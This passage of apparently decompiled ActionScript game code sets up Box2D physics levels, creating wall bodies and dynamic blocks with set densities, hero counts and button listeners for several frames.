gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro11 = new b2BodyDef();
gro11.position.Set((gro11_cl.x / 30), (gro11_cl.y / 30));
gro11.userData = gro11_cl;
gro11_sh = new b2PolygonDef();
gro11_sh.SetAsBox(((gro11_cl.width / 2) / 30), ((gro11_cl.height / 2) / 30));
gro11_def = world.CreateBody(gro11);
gro11_def.CreateShape(gro11_sh);
gro11_def.SetMassFromShapes();
gro11_sh.density = 1;
gro12 = new b2BodyDef();
gro12.position.Set((gro12_cl.x / 30), (gro12_cl.y / 30));
gro12.userData = gro12_cl;
gro12_sh = new b2PolygonDef();
gro12_sh.SetAsBox(((gro12_cl.width / 2) / 30), ((gro12_cl.height / 2) / 30));
gro12_def = world.CreateBody(gro12);
gro12_def.CreateShape(gro12_sh);
gro12_def.SetMassFromShapes();
gro12_sh.density = 1;
i = 1;
while (i <= 12) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 1;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 1;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 1;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 1;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 12;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 12;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
function frame22(){
cel = 4;
kol_cel = cel;
kol_hero = 2;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 33;
pos_hero_y = 280;
i = 1;
while (i <= 1) {
mas_balka.push(i);
mas_balka_giz.push(5000);
i++;
};
locations = 2;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
i = 1;
while (i <= 9) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 4;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
addEventListener(Event.ENTER_FRAME, game_f2);
}
function frame23(){
cel = 4;
kol_cel = cel;
kol_hero = 3;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 535;
pos_hero_y = 134;
i = 1;
while (i <= 3) {
mas_balka.push(i);
mas_balka_giz.push(400);
i++;
};
locations = 3;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
gro10 = new b2BodyDef();
gro10.position.Set((gro10_cl.x / 30), (gro10_cl.y / 30));
gro10.userData = gro10_cl;
gro10_sh = new b2PolygonDef();
gro10_sh.SetAsBox(((gro10_cl.width / 2) / 30), ((gro10_cl.height / 2) / 30));
gro10_def = world.CreateBody(gro10);
gro10_def.CreateShape(gro10_sh);
gro10_def.SetMassFromShapes();
gro10_sh.density = 1;
gro11 = new b2BodyDef();
gro11.position.Set((gro11_cl.x / 30), (gro11_cl.y / 30));
gro11.userData = gro11_cl;
gro11_sh = new b2PolygonDef();
gro11_sh.SetAsBox(((gro11_cl.width / 2) / 30), ((gro11_cl.height / 2) / 30));
gro11_def = world.CreateBody(gro11);
gro11_def.CreateShape(gro11_sh);
gro11_def.SetMassFromShapes();
gro11_sh.density = 1;
gro12 = new b2BodyDef();
gro12.position.Set((gro12_cl.x / 30), (gro12_cl.y / 30));
gro12.userData = gro12_cl;
gro12_sh = new b2PolygonDef();
gro12_sh.SetAsBox(((gro12_cl.width / 2) / 30), ((gro12_cl.height / 2) / 30));
gro12_def = world.CreateBody(gro12);
gro12_def.CreateShape(gro12_sh);
gro12_def.SetMassFromShapes();
gro12_sh.density = 1;
i = 1;
while (i <= 12) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 2;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 2;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 2;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
addEventListener(Event.ENTER_FRAME, game_f2);
}
function frame42(){
cel = 3;
kol_cel = cel;
kol_hero = 17;
kol_hero_tx.text = ("x" + kol_hero.toString());
pos_hero_x = 360;
pos_hero_y = 380;
i = 1;
while (i <= 54) {
mas_balka.push(i);
mas_balka_giz.push(4);
i++;
};
locations = 22;
score_game = 0;
gro1 = new b2BodyDef();
gro1.position.Set((stena1.x / 30), (stena1.y / 30));
gro1.userData = stena1;
gro1_sh = new b2PolygonDef();
gro1_sh.SetAsBox(((stena1.width / 2) / 30), ((stena1.height / 2) / 30));
gro1_def = world.CreateBody(gro1);
gro1_def.CreateShape(gro1_sh);
gro1_def.SetMassFromShapes();
gro1_sh.density = 1;
gro2 = new b2BodyDef();
gro2.position.Set((stena2.x / 30), (stena2.y / 30));
gro2.userData = stena2;
gro2_sh = new b2PolygonDef();
gro2_sh.SetAsBox(((stena2.width / 2) / 30), ((stena2.height / 2) / 30));
gro2_def = world.CreateBody(gro2);
gro2_def.CreateShape(gro2_sh);
gro2_def.SetMassFromShapes();
gro2_sh.density = 1;
gro3 = new b2BodyDef();
gro3.position.Set((stena3.x / 30), (stena3.y / 30));
gro3.userData = stena3;
gro3_sh = new b2PolygonDef();
gro3_sh.SetAsBox(((stena3.width / 2) / 30), ((stena3.height / 2) / 30));
gro3_def = world.CreateBody(gro3);
gro3_def.CreateShape(gro3_sh);
gro3_def.SetMassFromShapes();
gro3_sh.density = 1;
gro4 = new b2BodyDef();
gro4.position.Set((stena4.x / 30), (stena4.y / 30));
gro4.userData = stena4;
gro4_sh = new b2PolygonDef();
gro4_sh.SetAsBox(((stena4.width / 2) / 30), ((stena4.height / 2) / 30));
gro4_def = world.CreateBody(gro4);
gro4_def.CreateShape(gro4_sh);
gro4_def.SetMassFromShapes();
gro4_sh.density = 1;
gro5 = new b2BodyDef();
gro5.position.Set((stena5.x / 30), (stena5.y / 30));
gro5.userData = stena5;
gro5_sh = new b2PolygonDef();
gro5_sh.SetAsBox(((stena5.width / 2) / 30), ((stena5.height / 2) / 30));
gro5_def = world.CreateBody(gro5);
gro5_def.CreateShape(gro5_sh);
gro5_def.SetMassFromShapes();
gro5_sh.density = 1;
gro6 = new b2BodyDef();
gro6.position.Set((stena6.x / 30), (stena6.y / 30));
gro6.userData = stena6;
gro6_sh = new b2PolygonDef();
gro6_sh.SetAsBox(((stena6.width / 2) / 30), ((stena6.height / 2) / 30));
gro6_def = world.CreateBody(gro6);
gro6_def.CreateShape(gro6_sh);
gro6_def.SetMassFromShapes();
gro6_sh.density = 1;
gro7 = new b2BodyDef();
gro7.position.Set((gro7_cl.x / 30), (gro7_cl.y / 30));
gro7.userData = gro7_cl;
gro7_sh = new b2PolygonDef();
gro7_sh.SetAsBox(((gro7_cl.width / 2) / 30), ((gro7_cl.height / 2) / 30));
gro7_def = world.CreateBody(gro7);
gro7_def.CreateShape(gro7_sh);
gro7_def.SetMassFromShapes();
gro7_sh.density = 1;
gro8 = new b2BodyDef();
gro8.position.Set((gro8_cl.x / 30), (gro8_cl.y / 30));
gro8.userData = gro8_cl;
gro8_sh = new b2PolygonDef();
gro8_sh.SetAsBox(((gro8_cl.width / 2) / 30), ((gro8_cl.height / 2) / 30));
gro8_def = world.CreateBody(gro8);
gro8_def.CreateShape(gro8_sh);
gro8_def.SetMassFromShapes();
gro8_sh.density = 1;
gro9 = new b2BodyDef();
gro9.position.Set((gro9_cl.x / 30), (gro9_cl.y / 30));
gro9.userData = gro9_cl;
gro9_sh = new b2PolygonDef();
gro9_sh.SetAsBox(((gro9_cl.width / 2) / 30), ((gro9_cl.height / 2) / 30));
gro9_def = world.CreateBody(gro9);
gro9_def.CreateShape(gro9_sh);
gro9_def.SetMassFromShapes();
gro9_sh.density = 1;
i = 1;
while (i <= 9) {
mas_ground.push(i);
i++;
};
dim1_def = new b2BodyDef();
dim1_sh = new b2PolygonDef();
dim1_def.position.Set((dim1_cl.x / 30), (dim1_cl.y / 30));
dim1_sh.SetAsBox(((dim1_cl.width / 2) / 30), ((dim1_cl.height / 2) / 30));
dim1_sh.density = 10;
dim1_sh.friction = 1;
dim1_sh.restitution = 0.1;
dim1_def.userData = dim1_cl;
dim1 = world.CreateBody(dim1_def);
dim1.CreateShape(dim1_sh);
dim1.SetMassFromShapes();
dim2_def = new b2BodyDef();
dim2_sh = new b2PolygonDef();
dim2_def.position.Set((dim2_cl.x / 30), (dim2_cl.y / 30));
dim2_sh.SetAsBox(((dim2_cl.width / 2) / 30), ((dim2_cl.height / 2) / 30));
dim2_def.userData = dim2_cl;
dim2_sh.density = 10;
dim2_sh.friction = 1;
dim2_sh.restitution = 0.1;
dim2 = world.CreateBody(dim2_def);
dim2.CreateShape(dim2_sh);
dim2.SetMassFromShapes();
dim3_def = new b2BodyDef();
dim3_sh = new b2PolygonDef();
dim3_def.position.Set((dim3_cl.x / 30), (dim3_cl.y / 30));
dim3_sh.SetAsBox(((dim3_cl.width / 2) / 30), ((dim3_cl.height / 2) / 30));
dim3_def.userData = dim3_cl;
dim3_sh.density = 10;
dim3_sh.friction = 1;
dim3_sh.restitution = 0.1;
dim3 = world.CreateBody(dim3_def);
dim3.CreateShape(dim3_sh);
dim3.SetMassFromShapes();
dim4_def = new b2BodyDef();
dim4_sh = new b2PolygonDef();
dim4_def.position.Set((dim4_cl.x / 30), (dim4_cl.y / 30));
dim4_sh.SetAsBox(((dim4_cl.width / 2) / 30), ((dim4_cl.height / 2) / 30));
dim4_def.userData = dim4_cl;
dim4_sh.density = 10;
dim4_sh.friction = 1;
dim4_sh.restitution = 0.1;
dim4 = world.CreateBody(dim4_def);
dim4.CreateShape(dim4_sh);
dim4.SetMassFromShapes();
dim5_def = new b2BodyDef();
dim5_sh = new b2PolygonDef();
dim5_def.position.Set((dim5_cl.x / 30), (dim5_cl.y / 30));
dim5_sh.SetAsBox(((dim5_cl.width / 2) / 30), ((dim5_cl.height / 2) / 30));
dim5_def.userData = dim5_cl;
dim5_sh.density = 10;
dim5_sh.friction = 1;
dim5_sh.restitution = 0.1;
dim5 = world.CreateBody(dim5_def);
dim5.CreateShape(dim5_sh);
dim5.SetMassFromShapes();
dim6_def = new b2BodyDef();
dim6_sh = new b2PolygonDef();
dim6_def.position.Set((dim6_cl.x / 30), (dim6_cl.y / 30));
dim6_sh.SetAsBox(((dim6_cl.width / 2) / 30), ((dim6_cl.height / 2) / 30));
dim6_def.userData = dim6_cl;
dim6_sh.density = 10;
dim6_sh.friction = 1;
dim6_sh.restitution = 0.1;
dim6 = world.CreateBody(dim6_def);
dim6.CreateShape(dim6_sh);
dim6.SetMassFromShapes();
dim7_def = new b2BodyDef();
dim7_sh = new b2PolygonDef();
dim7_def.position.Set((dim7_cl.x / 30), (dim7_cl.y / 30));
dim7_sh.SetAsBox(((dim7_cl.width / 2) / 30), ((dim7_cl.height / 2) / 30));
dim7_def.userData = dim7_cl;
dim7_sh.density = 10;
dim7_sh.friction = 1;
dim7_sh.restitution = 0.1;
dim7 = world.CreateBody(dim7_def);
dim7.CreateShape(dim7_sh);
dim7.SetMassFromShapes();
dim8_def = new b2BodyDef();
dim8_sh = new b2PolygonDef();
dim8_def.position.Set((dim8_cl.x / 30), (dim8_cl.y / 30));
dim8_sh.SetAsBox(((dim8_cl.width / 2) / 30), ((dim8_cl.height / 2) / 30));
dim8_def.userData = dim8_cl;
dim8_sh.density = 10;
dim8_sh.friction = 1;
dim8_sh.restitution = 0.1;
dim8 = world.CreateBody(dim8_def);
dim8.CreateShape(dim8_sh);
dim8.SetMassFromShapes();
dim9_def = new b2BodyDef();
dim9_sh = new b2PolygonDef();
dim9_def.position.Set((dim9_cl.x / 30), (dim9_cl.y / 30));
dim9_sh.SetAsBox(((dim9_cl.width / 2) / 30), ((dim9_cl.height / 2) / 30));
dim9_def.userData = dim9_cl;
dim9_sh.density = 10;
dim9_sh.friction = 1;
dim9_sh.restitution = 0.1;
dim9 = world.CreateBody(dim9_def);
dim9.CreateShape(dim9_sh);
dim9.SetMassFromShapes();
dim10_def = new b2BodyDef();
dim10_sh = new b2PolygonDef();
dim10_def.position.Set((dim10_cl.x / 30), (dim10_cl.y / 30));
dim10_sh.SetAsBox(((dim10_cl.width / 2) / 30), ((dim10_cl.height / 2) / 30));
dim10_def.userData = dim10_cl;
dim10_sh.density = 10;
dim10_sh.friction = 1;
dim10_sh.restitution = 0.1;
dim10 = world.CreateBody(dim10_def);
dim10.CreateShape(dim10_sh);
dim10.SetMassFromShapes();
dim11_def = new b2BodyDef();
dim11_sh = new b2PolygonDef();
dim11_def.position.Set((dim11_cl.x / 30), (dim11_cl.y / 30));
dim11_sh.SetAsBox(((dim11_cl.width / 2) / 30), ((dim11_cl.height / 2) / 30));
dim11_def.userData = dim11_cl;
dim11_sh.density = 10;
dim11_sh.friction = 1;
dim11_sh.restitution = 0.1;
dim11 = world.CreateBody(dim11_def);
dim11.CreateShape(dim11_sh);
dim11.SetMassFromShapes();
dim12_def = new b2BodyDef();
dim12_sh = new b2PolygonDef();
dim12_def.position.Set((dim12_cl.x / 30), (dim12_cl.y / 30));
dim12_sh.SetAsBox(((dim12_cl.width / 2) / 30), ((dim12_cl.height / 2) / 30));
dim12_def.userData = dim12_cl;
dim12_sh.density = 10;
dim12_sh.friction = 1;
dim12_sh.restitution = 0.1;
dim12 = world.CreateBody(dim12_def);
dim12.CreateShape(dim12_sh);
dim12.SetMassFromShapes();
dim13_def = new b2BodyDef();
dim13_sh = new b2PolygonDef();
dim13_def.position.Set((dim13_cl.x / 30), (dim13_cl.y / 30));
dim13_sh.SetAsBox(((dim13_cl.width / 2) / 30), ((dim13_cl.height / 2) / 30));
dim13_def.userData = dim13_cl;
dim13_sh.density = 10;
dim13_sh.friction = 1;
dim13_sh.restitution = 0.1;
dim13 = world.CreateBody(dim13_def);
dim13.CreateShape(dim13_sh);
dim13.SetMassFromShapes();
dim14_def = new b2BodyDef();
dim14_sh = new b2PolygonDef();
dim14_def.position.Set((dim14_cl.x / 30), (dim14_cl.y / 30));
dim14_sh.SetAsBox(((dim14_cl.width / 2) / 30), ((dim14_cl.height / 2) / 30));
dim14_def.userData = dim14_cl;
dim14_sh.density = 10;
dim14_sh.friction = 1;
dim14_sh.restitution = 0.1;
dim14 = world.CreateBody(dim14_def);
dim14.CreateShape(dim14_sh);
dim14.SetMassFromShapes();
dim15_def = new b2BodyDef();
dim15_sh = new b2PolygonDef();
dim15_def.position.Set((dim15_cl.x / 30), (dim15_cl.y / 30));
dim15_sh.SetAsBox(((dim15_cl.width / 2) / 30), ((dim15_cl.height / 2) / 30));
dim15_def.userData = dim15_cl;
dim15_sh.density = 1;
dim15_sh.friction = 1;
dim15_sh.restitution = 0.1;
dim15 = world.CreateBody(dim15_def);
dim15.CreateShape(dim15_sh);
dim15.SetMassFromShapes();
dim16_def = new b2BodyDef();
dim16_sh = new b2PolygonDef();
dim16_def.position.Set((dim16_cl.x / 30), (dim16_cl.y / 30));
dim16_sh.SetAsBox(((dim16_cl.width / 2) / 30), ((dim16_cl.height / 2) / 30));
dim16_def.userData = dim16_cl;
dim16_sh.density = 1;
dim16_sh.friction = 1;
dim16_sh.restitution = 0.1;
dim16 = world.CreateBody(dim16_def);
dim16.CreateShape(dim16_sh);
dim16.SetMassFromShapes();
dim17_def = new b2BodyDef();
dim17_sh = new b2PolygonDef();
dim17_def.position.Set((dim17_cl.x / 30), (dim17_cl.y / 30));
dim17_sh.SetAsBox(((dim17_cl.width / 2) / 30), ((dim17_cl.height / 2) / 30));
dim17_def.userData = dim17_cl;
dim17_sh.density = 1;
dim17_sh.friction = 1;
dim17_sh.restitution = 0.1;
dim17 = world.CreateBody(dim17_def);
dim17.CreateShape(dim17_sh);
